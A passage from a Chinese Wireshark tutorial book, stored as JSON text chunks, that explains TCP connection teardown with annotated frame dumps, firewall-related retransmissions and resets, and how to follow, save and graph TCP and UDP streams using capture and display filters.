0.277369000 seconds] [Timestamps] #时间戳 [Time since first frame in this TCP stream: 0.277369000 seconds] [Time since previous frame in this TCP stream: 0.000177000 seconds] 从当前分组的IPv4协议层可以看到，源地址为192.168.1.4，目标地址为104.192.108.133。"},
    {"text": "图9.23 TCP断开连接 具体的工作流程如下： （1）客户端发送一个FIN，用来关闭客户端到服务器的数据传送，此时客户端进入TIME_WAIT1状态。"},
    {"text": "此时，服务器进入CLOSE_WAIT状态，客户端进入TIME_WAIT2状态。 （3）当服务器端也没有要传送的数据时，服务器关闭与客户端的连接，发送一个FIN给客户端，服务器进入LAST_ACK状态。 （4）客户端收到FIN后，客户端进入TIME_WAIT状态。"},
    {"text": "下面将分析四次断开连接的数据包，如图9.24所示。 图9.24 TCP断开连接 从图9.24所示的窗口中可以看到四次断开的握手包，分组编号为445、446、456和457。"},
    {"text": "对应的数据帧（445帧）的详细信息如下： Frame 445: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) #帧摘要信息 Ethernet II, Src: Vmware_79:95:9e (00:0c:29:79:95:9e), Dst: Vmware_ 34:75:8b (00:0c:29:34:75:8b) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.129, Dst: 192.168.80.130 #IPv4协议 Transmission Control Protocol, Src Port: 80, Dst Port: 49308, Seq: 9421, Ack: 582, Len: 0 #TCP协议 Source Port: 80 #源端口 Destination Port: 49308 #目标端口 [Stream index: 10] #流索引 [TCP Segment Len: 0] #TCP分片长度 Sequence number: 9421 (relative sequence number) #序列号 [Next sequence number: 9421 (relative sequence number)] #下一序列号 Acknowledgment number: 582 (relative ack number) #确认号 0101 .... = Header Length: 20 bytes (5) #TCP首部长度 Flags: 0x011 (FIN, ACK) #标志位 000. .... .... = Reserved: Not set #保留位 ...0 .... .... = Nonce: Not set #临时位 .... 0... .... = Congestion Window Reduced (CWR): Not set #拥塞窗口减少标志 .... .0.. .... = ECN-Echo: Not set #ECN标志 .... ..0. .... = Urgent: Not set #URG标志 .... ...1 .... = Acknowledgment: Set #ACK标志 .... .... 0... = Push: Not set #PSH标志 .... .... .0.. = Reset: Not set #RST标志 .... .... ..0. = Syn: Not set #SYN标志 .... .... ...1 = Fin: Set #FIN标志 [TCP Flags: ·······A···F] #TCP标志 Window size value: 245 #窗口大小 [Calculated window size: 31360] #计算的窗口大小 [Window size scaling factor: 128] #窗口大小乘积因子 Checksum: 0xc468 [unverified] #校验值 [Checksum Status: Unverified] #校验状态 Urgent pointer: 0 #紧急指针 [Timestamps] #时间戳 [Time since first frame in this TCP stream: 5.099645000 seconds] [Time since previous frame in this TCP stream: 5.005378000 seconds] 从IP协议层可以看到，源地址为192.168.80.129，目标地址为192.168.80.130。"},
    {"text": "对应的数据帧（446帧）的详细信息如下： Frame 446: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) #帧摘要信息 Ethernet II, Src: Vmware_34:75:8b (00:0c:29:34:75:8b), Dst: Vmware_ 79:95:9e (00:0c:29:79:95:9e) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.130, Dst: 192.168.80.129 #IPv4协议 Transmission Control Protocol, Src Port: 49308, Dst Port: 80, Seq: 582, Ack: 9422, Len: 0 #TCP协议 Source Port: 49308 #源端口 Destination Port: 80 #目标端口 [Stream index: 10] #流索引 [TCP Segment Len: 0] #TCP分片长度 Sequence number: 582 (relative sequence number) #序列号 [Next sequence number: 582 (relative sequence number)] #下一序列号 Acknowledgment number: 9422 (relative ack number) #确认号 0101 .... = Header Length: 20 bytes (5) #TCP首部长度 Flags: 0x010 (ACK) #标志位 000. .... .... = Reserved: Not set #保留位 ...0 .... .... = Nonce: Not set #临时位 .... 0... .... = Congestion Window Reduced (CWR): Not set #拥塞窗口减少标志 .... .0.. .... = ECN-Echo: Not set #ECN标志 .... ..0. .... = Urgent: Not set #URG标志 .... ...1 .... = Acknowledgment: Set #ACK标志 .... .... 0... = Push: Not set #PSH标志 .... .... .0.. = Reset: Not set #RST标志 .... .... ..0. = Syn: Not set #SYN标志 .... .... ...0 = Fin: Not set #FIN标志 [TCP Flags: ·······A····] #TCP标志位 Window size value: 255 #窗口大小 [Calculated window size: 65280] #计算的窗口大小 [Window size scaling factor: 256] #窗口大小乘积因子 Checksum: 0xc45e [unverified] #校验值 [Checksum Status: Unverified] #校验状态 Urgent pointer: 0 #紧急指针 [SEQ/ACK analysis] #SEQ/ACK分析 [This is an ACK to the segment in frame: 445] #确认分片帧 [The RTT to ACK the segment was: 0.000179000 seconds] #往返时间 [iRTT: 0.000276000 seconds] [Timestamps] #时间戳 [Time since first frame in this TCP stream: 5.099824000 seconds] [Time since previous frame in this TCP stream: 0.000179000 seconds] 从IP协议层可以看到，源地址为192.168.80.130，目标IP地址为192.168.80.129。"},
    {"text": "对应的数据帧（456帧）的详细信息如下： Frame 456: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) #帧摘要信息 Ethernet II, Src: Vmware_34:75:8b (00:0c:29:34:75:8b), Dst: Vmware_ 79:95:9e (00:0c:29:79:95:9e) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.130, Dst: 192.168.80.129 #IPv4协议 Transmission Control Protocol, Src Port: 49308, Dst Port: 80, Seq: 582, Ack: 9422, Len: 0 #TCP协议 Source Port: 49308 #源端口 Destination Port: 80 #目标端口 [Stream index: 10] #流索引 [TCP Segment Len: 0] #TCP分片长度 Sequence number: 582 (relative sequence number) #序列号 [Next sequence number: 582 (relative sequence number)] #下一序列号 Acknowledgment number: 9422 (relative ack number) #确认号 0101 .... = Header Length: 20 bytes (5) #TCP首部长度 Flags: 0x011 (FIN, ACK) #标志位 000. .... .... = Reserved: Not set #保留位 ...0 .... .... = Nonce: Not set #临时位 .... 0... .... = Congestion Window Reduced (CWR): Not set #拥塞窗口减少标志 .... .0.. .... = ECN-Echo: Not set #ECN标志 .... ..0. .... = Urgent: Not set #URG标志 .... ...1 .... = Acknowledgment: Set #ACK标志 .... .... 0... = Push: Not set #PSH标志 .... .... .0.. = Reset: Not set #RST标志 .... .... ..0. = Syn: Not set #SYN标志 .... .... ...1 = Fin: Set #FIN标志 [TCP Flags: ·······A···F] #TCP标志位 Window size value: 255 #窗口大小 [Calculated window size: 65280] #计算的窗口大小 [Window size scaling factor: 256] #窗口大小乘积因子 Checksum: 0xc45d [unverified] #校验值 [Checksum Status: Unverified] #校验状态 Urgent pointer: 0 #紧急指针 [Timestamps] #时间戳 [Time since first frame in this TCP stream: 6.123222000 seconds] [Time since previous frame in this TCP stream: 1.023398000 seconds] 从IP协议层可以看到，源地址为192.168.80.130，目标IP地址为192.168.80.129。"},
    {"text": "对应的数据帧（457帧）的详细信息如下： Frame 457: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) #帧摘要信息 Ethernet II, Src: Vmware_79:95:9e (00:0c:29:79:95:9e), Dst: Vmware_ 34:75:8b (00:0c:29:34:75:8b) #以太网协议 Internet Protocol Version 4, Src: 192.168.80.129, Dst: 192.168.80.130 #IPv4协议 Transmission Control Protocol, Src Port: 80, Dst Port: 49308, Seq: 9422, Ack: 583, Len: 0 #TCP协议 Source Port: 80 #源端口 Destination Port: 49308 #目标端口 [Stream index: 10] #流索引 [TCP Segment Len: 0] #TCP分片长度 Sequence number: 9422 (relative sequence number) #序列号 [Next sequence number: 9422 (relative sequence number)] #下一序列号 Acknowledgment number: 583 (relative ack number) #确认号 0101 .... = Header Length: 20 bytes (5) #TCP首部长度 Flags: 0x010 (ACK) #标志位 000. .... .... = Reserved: Not set #保留位 ...0 .... .... = Nonce: Not set #临时位 .... 0... .... = Congestion Window Reduced (CWR): Not set #拥塞窗口减少标志 .... .0.. .... = ECN-Echo: Not set #ECN标志 .... ..0. .... = Urgent: Not set #URG标志 .... ...1 .... = Acknowledgment: Set #ACK标志 .... .... 0... = Push: Not set #PSH标志 .... .... .0.. = Reset: Not set #RST标志 .... .... ..0. = Syn: Not set #SYN标志 .... .... ...0 = Fin: Not set #FIN标志 [TCP Flags: ·······A····] #TCP标志位 Window size value: 245 #窗口大小 [Calculated window size: 31360] #计算的窗口大小 [Window size scaling factor: 128] #窗口大小乘积因子 Checksum: 0xc467 [unverified] #校验值 [Checksum Status: Unverified] #校验状态 Urgent pointer: 0 #紧急指针 [SEQ/ACK analysis] #SEQ/ACK分析 [This is an ACK to the segment in frame: 456] #确认分片帧 [The RTT to ACK the segment was: 0.000231000 seconds] #往返时间 [iRTT: 0.000276000 seconds] [Timestamps] #时间戳 [Time since first frame in this TCP stream: 6.123453000 seconds] [Time since previous frame in this TCP stream: 0.000231000 seconds] 从IP协议层可以看到，源地址为192.168.80.129，目标IP地址为192.168.80.130。"},
    {"text": "未知 9.2.4 防火墙过滤 为了安全起见，大部分的服务器都会安装防火墙。通过防火墙，可以设置允许访问的主机地址和连接的端口。如果被防火墙限制了，客户端将无法访问目标服务器。另外，由于客户端与服务器之间的TCP连接会经过防火墙中转，数据传输时可能会由于超时导致数据重传等现象发生。当客户端出现这些异常时，将会重新进行请求，此时将会捕获到大量TCP重传数据包。下面将分析防火墙过滤数据包的相关信息。 1.TCP重传 TCP每发送一个报文，就对这个报文设置一次计时器。当计时器超时而没有收到确认时，就重传该报文。对于只允许特定主机访问的服务器，管理员很可能配置防火墙只允许部分IP及节点访问，其他请求都是DROP（丢弃）。在这种情况下，由于防火墙使用了DROP，而不是REJECT（拒绝），所以客户端将收不到任何反馈的报文告知出错。此时，客户端将会重新发送SYN包，请求建立连接。 在Wireshark中，可以使用显示过滤器tcp.analysis.retransmission过滤TCP重传数据包，结果如图9.29所示。 图9.29 TCP重传数据包 从Info列可以看到，这些包信息都是TCP Retransmission（TCP重传）。这些数据包都是由于通信超时产生的重传数据包，在网络性能差的情况下经常会看到这类数据包。 2.TCP连接重置 TCP连接重置就是断开之前的连接，并且释放连接占用的所有资源。当流经防火墙的流量不对称时，可能导致TCP连接重置。其中，流量不对称是指客户端访问服务器的流量经过防火墙，而服务器响应客户端的流量不经过防火墙，造成流量往返路径不一致。对于这种情况，用户可以使用显示过滤器tcp.flags.reset==1进行过滤，结果如图9.30所示。 图9.30 TCP连接重置 从Info列可以看到，这些报文的标志位为RST,ACK，即TCP重置ACK报文。这种情况可能是服务端没有监听该端口，请求被默认丢弃。 3.TCP连接超时 每个防火墙都有一个TCP超时时间，目前设置为半小时。对于通过防火墙的所有TCP连接，如果在半小时内没有任何活动，那么就会被防火墙拆除，这样就会导致连接中断。在拆除连接时，也不会向连接的两端发送任何数据通知连接已经被拆除。 为了方便用户更好地分析TCP会话，下面列举出一些常用的用来分析TCP异常数据包的显示过滤器，如表9.1所示。 表9.1 TCP异常数据包显示过滤器 未知 9.3 传输数据分析 当客户端通过TCP三次握手成功与服务器建立连接后，即可开始数据传输。首先，客户端会向服务器请求数据，并等待服务器的响应。本节将对TCP传输数据进行分析。"},
    {"text": "未知 9.3.1 跟踪流 在使用TCP协议输出数据时，对于较大的数据，TCP会进行分片传输。例如，客户端请求下载一个文件，但是该文件较大，无法一次性传输。用户通过查看响应包，即可看到传输的数据都分布在哪些数据包中，如图9.31所示。 图9.31 TCP分片传输 从分组列表中可以看到，服务器响应的数据包是分为3个TCP分片进行传输的。其中，这3个分片帧分布为320（1460字节）、321（1460字节）和322（460字节）。此时如果分析单个数据包，则无法找到传输的完整数据。如果想要查看到传输的整个数据，可以采用跟踪流的方式。在分组列表中选择一个TCP分组，并在菜单栏中依次选择“分析”|“追踪流”|“TCP流”命令，将弹出“追踪TCP流”对话框，如图9.32所示。 图9.32 “追踪TCP流”对话框 显示的数据使用了两种颜色。红色部分（第1～9行）表示从源地址前往目标地址的流量，蓝色部分（第10行以下）表示从目标地址到源地址的流量。这里颜色的标记以哪方先开始通信为准。本例中，客户端最先建立了到服务器的连接，所以显示为红色。从以上信息可以看到，客户端发送了一个对Web根目录的GET请求。然后服务器用HTTP/1.1200 OK做出了一个响应，表示请求成功。从底部可以看到，整个会话大小为10KB，显示和保存数据默认格式为ASCII，流编号为10。用户也可以单独分析客户端或服务器传输的数据。在“整个对话”下拉列表中，即可选择客户端发送给服务器的数据，或者是服务器响应客户端的数据，如图9.33所示。 图9.33 查看单一会话 单击“显示和保存数据为”下拉按钮，可以在下拉列表框中选择以不同格式显示数据。其中，支持的显示数据格式如下： ·ASCII：显示为ASCII码格式。 ·C Arrarys：显示为C数组格式。 ·EBCDIC：显示为EBCDIC码格式。 ·Hex转储：显示为十六进制格式。 ·UTF-8：显示为UTF-8编码格式。 ·UTF-16：显示为UTF-16编码格式。 ·YAML：显示为YAML格式。 ·原始数据：显示为原始数据格式。 例如，以C数组格式显示数据，将“显示和保存数据为”文本框设置为C Arrays，结果如图9.34所示。 图9.34 以C数组格式显示数据 用户通过在分组列表或分组详情中右击也可以跟踪流。在分组列表中选择一个TCP分组并右击，将弹出快捷菜单，如图9.35所示。 图9.35 快捷菜单 依次选择“追踪流”|“TCP流”命令，即可跟踪对应的TCP数据流。 【实例9-7】 跟踪TCP流。具体操作步骤如下： （1）在捕获文件中选择一个TCP协议分组，如图9.36所示。 图9.36 选择TCP分组 （2）这里选择分组305，并在菜单栏选择“分析”|“追踪流”|“TCP流”命令，弹出“追踪TCP流”对话框，如图9.37所示。 图9.37 “追踪TCP流”对话框 （3）从该对话框中可以看到追踪到的TCP流信息。此时返回到Wireshark的界面，将看到对追踪到的数据流进行了显示过滤，如图9.38所示。 图9.38 追踪的TCP数据流 （4）从显示过滤器文本框中可以看到，自动应用了显示过滤器tcp.stream eq 10，表示过滤第11个TCP流。TCP流编号是从0开始，所以这里的编号10表示第11个TCP流。 未知 第2章 捕获数据包 当用户在系统中安装Wireshark后，即可使用该工具捕获数据包。本章将介绍使用Wireshark捕获数据包的方法。 未知 9.3.2 保存流 当用户获取到追踪的TCP流后，即可将其保存为不同的格式。在菜单栏中选择“分析”|“追踪流”|“TCP流”命令，打开追踪TCP流对话框，如图9.39所示。 图9.39 追踪TCP流 在该对话框中单击“显示和保存数据为”下拉按钮，即可在其下拉列表框中选择保存的数据格式。其中，支持的格式如下： ·ASCII：保存为ASCII码格式。 ·C Arrarys：保存为C数组格式。 ·EBCDIC：保存为EBCDIC码格式。 ·Hex转储：保存为十六进制格式。 ·UTF-8：保存为UTF-8编码格式。 ·UTF-16：保存为UTF-16编码格式。 ·YAML：保存为YAML格式。 ·原始数据：保存为原始数据格式。 选择保存的格式后单击Save as按钮，即可保存该TCP流。例如，这里将保存数据的ASCII格式。使用默认设置并单击Save as按钮，将弹出保存对话框，如图9.40所示。 图9.40 保存TCP流 在该对话框中指定文本名并单击“保存”按钮，即可保存该TCP流。"},
    {"text": "未知 9.3.3 TCP流图形 当用户过滤出一个TCP流后，可以使用TCP流图形更直观地以不同形式查看TCP流信息，而且还可以保存TCP流图形。下面介绍查看及保存TCP流图形的方法。 1.查看TCP流 在菜单栏中选择“统计”|“TCP流图形”命令，将展开“TCP流图形”子菜单，如图9.41所示。 图9.41 “TCP流图形”子菜单 在“TCP流图形”子菜单菜单中可以查看不同类型的TCP流图形，包括时间序列（Stevens）、时间序列（tcptrace）、吞吐量、往返时间和窗口尺寸。其中，每种TCP流图形显示的信息如下： ·时间序列（Stevens）：这是一个基于时间的简单TCP序列号图形。 ·时间序列（tcptrace）：显示类似于tcptrace工具的TCP衡量指标，包括转发分片、确认号、选择确认、反向窗口大小和零窗口。 ·吞吐量：查看吞吐量（throughput）和有效的吞吐量（goodput）信息。其中，吞吐量是指每秒接收到的不包括控制数据在内的比特数。当没有帧时，设备会降低最大速率；有效的吞吐量是指单位时间内发到DUT/SUT正确目标接口的比特数。如果减少了，就丢弃或者重传。 ·往返时间：TCP流经过的往返时间或序列号。往返时间是基于特定报文的确认时间戳。 ·窗口尺寸：查看窗口大小和未完成字节。 用户可以根据自己的需要查看对应的TCP流图形。例如，查看时间序列（Stevens）的TCP流图形，在菜单栏中单击时间序列（Stevens）命令，将显示如图9.42所示的对话框。 图9.42 时间序列（Stevens） 从图9.42所示的对话框中可以看到，横坐标为Time（时间），纵坐标为Sequence Number。从图9.42里的标题中可以看到，当前显示的是主机192.168.80.129到主机192.168.80.130的TCP流图形。从横坐标底部可以看到，该图形中源发往目标（192.168.80.129到192.168.80.130）的数据包共有13个分组，大小为9420字节；目标发往源（192.168.80.130到192.168.80.129）共有10个分组，大小为581字节。从底部的状态栏中可以看到，当前类型为时间/序列（Stevens），流编号为10，鼠标用来拖曳图形。在该对话框中单击“切换方向”按钮，将显示目标到源的TCP流信息。如果用户拖曳调整了图形后，单击“复位”按钮，即可恢复到原来的图形。也可以在“类型”下拉列表框中选择其他的TCP流图形，如时间/序列（tcptrace）、吞吐量、往返时间和窗口尺寸。这样，用户就不需要重新在菜单栏中选择对应的TCP流图形来打开了。例如，查看往返时间的TCP流图形。在“类型”下拉列表中选择往返时间，将显示如图9.43所示的界面。 从图9.43中可以看到，横坐标为Time（时间），纵坐标为Round Trip Time（往返时间）。单击图形中的任意一点，即可看到对应分组的详细信息，如图9.44所示。 图9.43 往返时间TCP流图形 图9.44 分组信息 从横坐标下面可以看到当前选择了分组322。其中，该分组的往返时间为12.41秒，分组长度为460字节，序列号为2921，确认号为258，窗口大小为30336。在状态栏中勾选“RTT按序列号”复选框，将按照序列号显示往返时间，如图9.45所示。 从图9.45中可以看到，横坐标显示为Sequence Number（序列号），纵坐标显示为Round Trip Time（往返时间）。通过对往返时间图进行分析，可以看到发送或接收数据包所用的时间长短。 图9.45 按序列号显示往返时间 【实例9-8】 使用时间/序列（tcptrace）格式显示TCP流图形，结果如图9.46所示。 图9.46 时间/序列（tcptrace） 从图9.46中可以看到，横坐标为Time（时间），纵坐标为Sequence Number（序列号）。正常情况下，TCP序列号不会出现下降的情况。如果出现序列号下将，一般都是TCP的重传报文导致的。所以，用户在TCP流图形中可以观察，是否有重传的报文。 【实例9-9】 查看TCP流的吞吐量图形，效果如图9.47所示。 从图9.47所示对话框的状态栏中可以看到，默认显示了段长度和吞吐量。如果想要查看实际吞吐量，则勾选“实际吞吐量”复选框即可。通过分析TCP流的吞吐量可以看到客户端或服务器处理数据的效率。 图9.47 吞吐量 【实例9-10】 使用窗口尺寸查看TCP流图形，结果如图9.48所示。 图9.48 窗口尺寸 从图9.48所示对话框的状态栏中可以看到，该TCP流图形中将显示接收窗口和发出字节信息。其中，接收窗口用来显示接收窗口大小与时间的图表，以及未完成字节与时间的图表。通过分析TCP图形，可知道接收端单位时间内可接收的数据大小。如果窗口大小为0，则表示不可以接收数据。 2.保存TCP流 在TCP流图形窗口中单击Save As按钮，即可保存其TCP流。例如，保存窗口尺寸类型的TCP流，如图9.49所示。 图9.49 窗口尺寸TCP流 在图9.49所示对话框中单击Save As按钮，将弹出保存对话框，如图9.50所示。 图9.50 保存TCP流图形 在该对话框中指定保存的位置、文件名和保存类型。在“保存类型”下拉列表框中可以选择保存的类型。其中，支持的类型有便携式文档格式（*.pdf）、便携式网络图形格式（*.png）、Windows位图（*.bmp）和JPEG文件交换格式（*.jpeg*.jpg）。将以上信息设置完成后，单击“保存”按钮即可。"},
    {"text": "未知 第10章 UDP协议数据分析 UDP（User Datagram Protocol，用户数据报协议）是OSI参考模型中一种无连接的传输层协议。它提供面向事务的简单不可靠信息传送服务。由于UDP协议具有资源消耗少、处理速度快的优点，所以通常在音频、视频传送时经常使用该协议。因为即使偶尔丢失一两个数据包，也不会对接收结果产生太大影响。例如，当客户端播放网络视频时，即可捕获到大量的UDP数据包。本章将详细讲解UDP协议数据。 未知 10.1 基础分析 UDP协议和TCP协议类似，通过地址和端口的方式来进行数据传输。同一个UDP会话中，源IP、目标IP、源端口和目标端口都是不变的。本节将对这些基础信息进行分析。 未知 10.1.1 捕获过滤 为了减少太多的冗余信息，用户可以使用捕获过滤器来捕获UDP数据包。其中，用于捕获UDP数据包的捕获过滤器有两种，分别是使用UDP协议和UDP端口过滤。下面将介绍使用捕获过滤器捕获UDP数据包的相关内容。 1.使用UDP协议过滤 使用UDP协议的捕获过滤器语法格式如下： udp 【实例10-1】 使用UDP协议捕获过滤器捕获UDP数据包。 （1）启动Wireshark，将显示Wireshark的启动界面，如图10.1所示。 （2）在捕获过滤文本框中输入过滤器udp，并选择捕获接口以太网，然后单击开始捕获分组按钮 ，开始捕获UDP协议数据包，如图10.2所示。 图10.1 Wireshark的启动界面 图10.2 正在捕获数据包 （3）从分组列表的Protocol列可以看到，捕获到的数据包都是UDP协议。用户可能发现有DNS、SSDP和OICQ协议等。这是由于这些协议都是基于UDP协议的应用层协议，所以也都被捕获到了。 2.使用UDP端口过滤 当用户知道某程序传输使用的端口时，就可以使用端口捕获过滤器来捕获其数据包。其中，基于UDP端口过滤，可以指定单个端口或者一个端口范围。使用端口捕获过滤器的语法格式如下： udp port port #指定过滤的端口 udp portrange port1-port2 #指定过滤的端口范围 前面章节介绍过如何查看系统中开放的端口，然后即可指定对应的端口进行过滤。 【实例10-2】 捕获过滤53端口的数据包。 （1）在捕获过滤器中输入捕获过滤器udp port 53，如图10.3所示。 图10.3 使用端口捕获过滤器 （2）在接口列表中选择捕获接口，单击开始捕获分组按钮 捕获数据包，如图10.4所示。 （3）从Protocol列可以看到，捕获到的所有数据包协议都为DNS。由于DNS协议是基于UDP 53号端口运行的，所以捕获到的包都为DNS协议。 图10.4 捕获到的数据包 未知 10.1.2 端点分析 通过对UDP协议的端点分析可知数据传输所使用的IP地址和端口号。在菜单栏中依次选择“统计”|“端点”命令，打开端点统计对话框，如图10.5所示。 图10.5 端点统计对话框 在该对话框中包括5个协议的选项卡，分别是Ethernet、IPv4、IPv6、TCP和UDP。通过选择不同的选项卡，即可分析对应协议的端点统计信息。其中，协议选项卡中的数字表示端点数。这里分析的是UDP协议端点，所以选择UDP 180选项卡，将显示UDP协议的端点统计信息，如图10.6所示。 图10.6 IP地址和端口信息 在图10.6所示的对话框中共包括8列，分别为Address（IP地址）、Port（端口）、Packets（包数）、Bytes（字节数）、Tx Packets（发送的包数）、Tx Bytes（发送的字节数）、Rx Packets（接收的包数）和Rx Bytes（接收的字节数）。每列的含义如下： ·Address：发送UDP数据包的源IP地址。 ·Port：发送UDP数据包的源端口。 ·Packets：该地址传输的UDP数据包总数。 ·Bytes：该地址传输的UDP数据包总字节数。 ·Tx Packets：该地址发送的UDP数据包数。 ·Tx Bytes：该地址发送的UDP数据包字节数。 ·Rx Packets：该地址接收的UDP数据包数。 ·Rx Bytes：该地址接收的UDP数据包字节数。 在图10.6所示的对话框中勾选“显示过滤器的限制”复选框，将只显示匹配当前显示过滤器的对话。默认显示所有的UDP协议对话。通过对以上数据包进行分析可知，主机49.7.30.58发送UDP数据包使用的端口为17788，共发送了10个包，包大小总共为1399个字节。"},
    {"text": "未知 10.1.3 会话分析 通过使用会话统计功能，即可了解到某个UDP会话的基本信息。在菜单栏中，依次选择“统计”|“会话”命令，打开会话统计对话框，如图10.7所示。 会话统计对话框包括5个选项卡，分别为Ethernet（以太网协议）、IPv4（IPv4协议）、IPv6（IPv6协议）、TCP（TCP协议）和UDP（UDP协议）。此时，单击UDP 172选项卡，即可查看UDP会话统计信息，如图10.8所示。 图10.7 会话统计对话框 图10.8 UDP会话分析 在图10.8中，每一行信息则表示一个UDP会话。其中，每个UDP会话都包括Address A（地址A）、Port A（端口A）、Address B（地址B）、Port B（端口B）、Packets（总包数）、Bytes（字节）、Packets A→B（从A到B的数据包）、Bytes A→B（从A到B的字节数）、Packets B→A（从B到A的数据包数）、Bytes B→A（从B到A的字节）、Rel Start（会话启动时间）、Duration（持续时间）、Bits/s A→B（从A到B的传输速率）和Bits/s B→A（从B到A的传输速率）。每列的具体含义如下： ·Address A：UDP会话一端的IP地址。 ·Port A：UDP会话一端使用的端口。 ·Address B：UDP会话另一端的IP地址。 ·Port B：UDP会话另一端使用的端口。 ·Packets：整个UDP会话总共传输的数据包数。 ·Bytes：整个UDP会话总共传输的字节数。 ·Packets A→B：从地址A到地址B传输的数据包数。 ·Bytes A→B：从地址A到地址B传输的字节数。 ·Packets B→A：从地址B到地址A传输的包数。 ·Bytes B→A：从地址B到地址A传输的字节数。 ·Rel Start：第一个包到TCP会话的启动时间。 ·Duration：整个UDP会话第一个包到最后一个包所用的时间。 ·Bits/s A→B：从地址A到地址B每秒传输的数据大小。 ·Bits/s B→A：从地址B到地址A每秒传输的数据大小。 在图10.8所示的对话框中，勾选“显示过滤器的限制”复选框，将只显示匹配当前显示过滤器的会话；勾选“绝对开始时间”复选框，Rel Start列将显示绝对时间。其中，列名将显示为Abs Start，格式为“时:分:秒:毫秒”。通过对以上每列信息进行分析可知，第一个UDP会话中的一端的地址为60.220.134.206（地址A），源端口为22000（端口A），另一端的地址为192.168.80.130（地址B），另一端的端口为20455（端口B）。该会话总共有704个数据包，字节大小为407KB。其中，地址A发送给地址B348个包；地址B发送给地址A356个包。 在图10.8所示的会话窗口中，用户还可以对UDP会话进行显示过滤、查找或者着色。在会话对话框中选择任何一个UDP会话并右击，将弹出一个快捷菜单，如图10.9所示。 图10.9 快捷菜单 快捷菜单中包括“作为过滤器应用、准备过滤器、查找、着色”4个选项。当用户选择某个菜单命令时即可看到对应的子命令。其中，每个命令对应的子命令都相同。图10.9中所示为“作为过滤器应用”菜单命令的子命令。其中，展开的每个子命令含义如下： ·A←→B：显示过滤地址A和地址B交互的所有数据包。 ·A→B：显示过滤地址A到地址B的所有数据包。 ·B→A：显示过滤地址B到地址A的所有数据包。 ·A←→Any：显示过滤地址A和任意地址之间交互的所有数据包。 ·A→Any：显示过滤地址A到任意地址的所有数据包。 ·Any→A：显示过滤任意地址到地址A的数据包。 ·Any←→B：显示过滤任意地址和地址B之间交互的所有数据包。 ·Any→B：显示过滤任意地址到地址B的所有数据包。 ·B→Any：显示过滤地址B到任意地址的所有数据包。 此时，用户则可以根据自己的选项，选择对应的选项对UDP会话进行过滤并分析。 【实例10-3】 显示过滤地址A（60.220.134.206，端口为22000）和地址B（192.168.80.130，端口为20455）之间传输的UDP数据包。 （1）在会话窗口中选择第一个会话并右击，然后依次选择“作为过滤器应用”|“选中”|A←→B命令，即可应用对应的显示过滤器。然后返回到捕获文件中，即可看到应用的显示过滤器，如图10.10所示。 图10.10 成功应用过滤器 （2）从显示过滤器文本框中可以看到，应用的显示过滤器表达式为ip.addr==60.220.134.206&&udp.port==22000&&ip.addr==192.168.80.130&&udp.port==20455（显示过滤地址为60.220.134.206和192.168.80.130，端口为22000和20455的数据包），而且成功对其数据包进行了过滤。 未知 10.2 传输数据分析 当一些音频或视频软件播放时，会通过UDP数据进行传输。用户通过跟踪UDP流，可以快速过滤出同一个会话的UDP流。另外，UDP协议在传输时还会用到广播或多播。在Wireshark中，还可以分析UDP多播流。本节将对UDP传输数据进行分析。"},
    {"text": "未知 10.2.1 跟踪流 用户通过跟踪流，可以成功过滤出整个UDP会话的数据包。在分组列表中选择一个UDP协议包，并在菜单栏依次选择“分析”|“追踪流”|“UDP流”命令，将弹出如图10.11所示的对话框。 图10.11 追踪UDP流 “追踪UDP流”对话框以两种颜色显示了数据的来源。其中，红色部分（图10.11中的框选部分）表示从源地址到目标地址的流量；蓝色部分（图10.11中未框选部分）表示从目的地址到源地址的流量。从流文本框中可以看到，整个对话包大小为377KB；显示和保存数据为ASCII格式；当前UDP会话流编号为89。默认情况下将显示过滤追踪到的UDP流数据包。用户单击“滤掉此流”按钮，将会显示该UDP流之外的其他数据包。单击“显示和保存数据为”下拉按钮，可以在下拉列表框中选择以不同格式显示数据。其中，支持的显示数据格式如下： ·ASCII：显示为ASCII码格式。 ·C Arrarys：显示为C数组格式。 ·EBCDIC：显示为EBCDIC码格式。 ·Hex转储：显示为十六进制格式。 ·UTF-8：显示为UTF-8编码格式。 ·UTF-16：显示为UTF-16编码格式。 ·YAML：显示为YAML格式。 ·原始数据：显示为原始数据格式。 例如，以Hex转储格式显示UDP流，效果如图10.12所示。 图10.12 以Hex转储格式显示UDP数据流 用户通过在分组列表或分组详情中右击，也可以跟踪流。在分组列表中选择一个UDP数据包并右击，将弹出一个快捷菜单，如图10.13所示。 图10.13 快捷菜单 依次选择“追踪流”|“UDP流”命令，即可跟踪对应的UDP数据流。 【实例10-4】 追踪UDP流。具体操作步骤如下： （1）在捕获文件中选择一个UDP协议分组，如图10.14所示。 图10.14 选择UDP分组 （2）这里选择分组3219并右击，并在弹出的快捷菜单中依次选择“追踪流”|“UDP流”命令，将弹出追踪UDP流对话框，如图10.15所示。 图10.15 追踪UDP流 （3）此时返回到Wireshark捕获包界面，即可看到整个UDP会话流（101），如图10.16所示。 图10.16 过滤出的UDP会话流 （4）从显示过滤器文本框中可以看到，应用的显示过滤器为udp.stream eq 101，表示显示过滤第102个UDP会话。在追踪流对话框中，单击“滤掉此流”按钮，将显示除UDP 101流之外的其他所有数据包，如图10.17所示。 图10.17 滤掉UDP 101之外的数据流 （5）从显示过滤器中可以看到，应用的显示过滤器为!(udp.stream eq 101)，表示显示过滤非UDP 101流的数据包。 未知 10.2.2 保存流 对于用户跟踪过滤出的数据流，用户也可以将其保存，方便以后进行分析。在菜单栏中依次选择选择“分析”|“追踪流”|“UDP流”命令，打开“追踪UDP流”对话框，如图10.18所示。 图10.18 “追踪UDP流”对话框 在该对话框中单击“显示和保存数据为”下拉按钮，即可从中选择保存的数据格式。其中，支持的格式如下： ·ASCII：保存为ASCII码格式。 ·C Arrarys：保存为C数组格式。 ·EBCDIC：保存为EBCDIC码格式。 ·Hex转储：保存为十六进制格式。 ·UTF-8：保存为UTF-8编码格式。 ·UTF-16：保存为UTF-16编码格式。 ·YAML：保存为YAML格式。 ·原始数据：保存为原始数据格式。 用户选择保存的格式后，单击Save as按钮，即可保存该UDP流。例如，这里将保存数据的原始数据格式，单击“显示和保存数据为”下拉按钮，从中选择原始数据，然后单击Save 